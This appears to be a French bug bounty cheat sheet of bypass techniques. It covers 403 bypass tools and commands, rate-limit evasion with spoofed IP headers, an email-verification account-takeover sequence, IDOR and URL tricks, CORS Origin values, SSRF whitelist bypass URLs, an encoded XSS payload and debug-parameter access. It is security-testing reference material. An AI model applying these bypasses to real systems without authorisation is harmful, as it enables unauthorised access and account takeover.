🔓Bypass
Outils dédiés aux bypass en tout genre
Sites:
https://insolitum.github.io/character_encoder/: Ajouter des caractères ASCII random à la chaîne de caractères donnée.
Dontgo403
Dontgo403 est un outil permettant de tenter de contourner les accès restreints sur les pages web via différentes techniques.
Exemple d'utilisation:
$ ./dontgo403 -u https://target.com/private
ressource: https://github.com/devploit/dontgo403
Byp4xx
Byp4xx est un outil permettant de tenter de contourner les accès restreints sur les pages web via différentes techniques (verb tampering, headers, custom user agents, tips de bug bounty).
Exemple d'utilisation:
$ ./byp4xx.py https://target.com/private
ressource: https://github.com/lobuhi/byp4xx
403-bypass
403-bypass est un outil ayant la même utilité que byp4xx
Exemple d'utilisation:
$ python3 403-bypass.py -u https://target.com -p private
ressource: https://github.com/channyein1337/403-bypass
Bypass-url-parser
Bypass-url-parser est un outil permettant de tenter de contourner les restrictions via manipulation de l'url.
Exemple d'utilisation:
$ ./bypass-url-parser.py -u https://target.com/secret
ressource: https://github.com/laluka/bypass-url-parser
Recollapse
REcollapse est un outil d'aide au fuzzing des regex en boîte noire pour contourner les validations et découvrir les normalisations dans les applications Web.
Exemple d'utilisation:
$ recollapse https://target.com/secret
ressource: https://github.com/0xacb/recollapse
hakoriginfinder
Outil pour découvrir l'hôte d'origine derrière un proxy inverse. Utile pour contourner les WAF cloud.
Exemple d'utilisation:
$ prips <IP range>/24 | hakoriginfinder -h target.com
ressource: https://github.com/hakluke/hakoriginfinder
Jwt_tool
Jwt_tool est un outil permettant vérifier, scanner et falsifier des Json Web Token à la recherche de failles connues.
Exemple d'utilisation:
$ python3 jwt_tool.py <JWT>
ressource: https://github.com/ticarpi/jwt_tool
JSON Web Token Burp Suite extension
Il existe une extension dans burp suite permettant de manipuler les JWT.
ressource: https://github.com/portswigger/json-web-tokens
TIPS
Si un fichier est protégé, essayer de le fuzz avec des extensions de backup.
Rate limit Bypass
Headers Bypass
Juste en dessous du header "Host:", utiliser l'un (ou parfois plusieurs) de ces headers:
X-Forwarded-For : IP
X-Forwarded-Host : IP
X-Client-IP : IP
X-Remote-IP : IP
X-Remote-Addr : IP
X-Host : IP
Avec des caractères
L'ajout d'un octet nul (%00) à la fin d'un e-mail peut parfois contourner la limite de débit.
Essayez d'ajouter un espace après un e-mail. ( Non codé )
Quelques caractères communs qui aident à contourner la limite de débit : %0d , %2e , %09 , %20 ...
Avec une redirection
Si une page incorrecte redirige vers la page testé, changer le Host Header peu parfois permettre de contourner un rate limit.
Email verification bypass
Créer un compte avec un email
un lien de vérification sera envoyé
ne pas le suivre et changer l'email par celui d'une victime
Suivre le lien envoyé par mail
Si l'email de la victime est vérifié au lieu du votre alors il y a usurpation
Simple Bypass
Lorsqu'on a plusieurs étapes par exemple comme c'est le cas lors d'un achat en ligne, tenter de passer une étape.
Exemple:
/step/shipping/
/step/payment/
/step/confirm/
Essayer d'ajouter api devant un nom de domaine.
Exemple:
/target.com/users/ Forbidden
/api.target.com/users/ OK
Essayer d'ajouter .json à la fin de l'url.
Exemple:
/target.com/users/data Forbidden
/target.com/users/data.json OK
Si vous repérez une API avec une version dans l'url, essayer d'utiliser une version obsolète.
Exemple:
/target.com/v2/users/data Forbidden
/target.com/v1/users/data OK
Si vous avez une API, essayer d'ajouter internal à l'URL.
/target.com/v1/users/data Forbidden
/targer.com/v1/internal/users/data OK
Pour les paramètres en "id:XXX", essayer de mettre l'id dans un tableau.
Exemple:
/target.com/user.php?id=XXX Forbidden
/target.com/user.php?id=[XXX] OK
Essayer de le passer en tant qu'objet json.
/target.com/user.php?id=XXX Forbidden
/target.com/user.php?{"id"=XXX} OK
Essayer de passer par un id légitime.
/target.com/user.php?id=<victime> Forbidden
/target.com/user.php?id=<légitime>&id=<victime> OK
Essayer de fuzz le paramètre.
Exemple:
/target.com/user.php?id=FUZZ
Verb tampering
Essayer toutes les méthodes HTTP.
Method override
Via header
Via parametre
Header injection
Essayer les headers en IP avec les plages suivantes:
192.168.0.0/16
172.16.0.0/12
127.0.0.0/8
10.0.0.0/8
URI tampering
ISP bypass
via le service Google translate
https://evil.com/ Bloqué
https://evil.com.translate.goog/ Bypass
CORS bypass
Origin:null
Origin:attacker.com
Origin:attacker.target.com
Origin:attackertarget.com
Origin:sub.attackertarget.com
Origin:attacker.com et changer la méthode HTTP GET => POST / POST => GET
Origin:sub.attacker target.com
Origin:sub.attacker%target.com
Origin:attacker.com/target.com
SSRF bypass
Si les IP sont blacklistés, il est possible d'essayer de les bypass de ces façons.
Exemple pour IP 127.0.0.1:
Whitelist bypass
exemple: "function url must be function.target.com"
bypass:
https://localhost@function.target.com
https://localhost#@function.target.com ("#" pour essayer d'enlever le @function.target.com de la requête)
https://localhost%2523@function.target.com (avec le "#" double encodé)
XSS bypass
Il arrive parfois que des entreprises remédient à des XSS en encodant les sorties utilisateur.
Il est donc important d'essayer vos payloads encodés avec burp suite par exemple.
Exemple:
<img src=x onerror=prompt(document.domain)>
devient
%3Cimg%20src%3Dx%20onerror%3Dprompt%28document.domain%29%3E
Ou (double encodé)
%253Cimg%2520src%253Dx%2520onerror%253Dprompt%2528document.domain%2529%253E
Open redirect
target[.]com/?redirect=evil[.]com => Warning site
target[.]com/?redirect=evil[.]cOm => OK
Autre
Accès à la console d'administration
Il existe parfois un paramètre debug dans un endoint pouvant parfois permettre de bypass une restriction d'accès.
Exemple:
debug=true
_debug=true
debug=1
_debug=1
target.com/admin/console => 403 forbidden
target.com/admin/console?debug=true => 200 OK
Dernière mise à jour